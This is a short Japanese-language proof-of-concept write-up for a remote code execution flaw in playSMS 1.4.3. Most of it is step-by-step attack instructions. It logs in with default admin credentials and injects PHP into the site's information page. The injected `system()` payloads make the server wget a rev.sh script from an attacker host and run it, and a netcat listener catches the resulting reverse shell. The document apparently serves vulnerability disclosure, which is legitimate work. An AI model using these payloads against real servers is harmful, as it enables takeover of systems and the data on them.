CVE-playsms

playsms 1.4.3 には、潜在的な攻撃者がリモートコード実行を可能にする脆弱性があります。

RCE（シェル）を再現する方法:

https://playsms.org/

• docker pull playsms/playsms:1.4.3
• docker run -d -p 80:80 playsms/playsms
• admin:admin でログインする
• http://127.0.0.1/index.php?app=main&inc=core_main_config&op=main_config#tabs-information-page
• 攻撃者のマシンで悪意のある bash ファイルをホストする
• マシン上で wget を使用して悪意のあるファイルをダウンロードする
• <?php system("/usr/bin/wget http://<attackerIP>/rev.sh"); echo "done" ?> と入力する
• 情報を保存する（入力ボックスからは消えますが、動作します）
• http://127.0.0.1/index.php?app=main&inc=core_welcome
• ページを再読み込みする http://127.0.0.1/index.php?app=main&inc=core_main_config&op=main_config#tabs-information-page
• シェルスクリプトを chmod で実行権限を付与して実行する - <?php system("chmod +x rev.sh && ./rev.sh") ?>)
• 保存し、* http://127.0.0.1/index.php?app=main&inc=core_welcome にアクセスしてコード実行を得る
• ローカルの netcat ハンドラーを実行してリモートシェルをキャッチする

rev.sh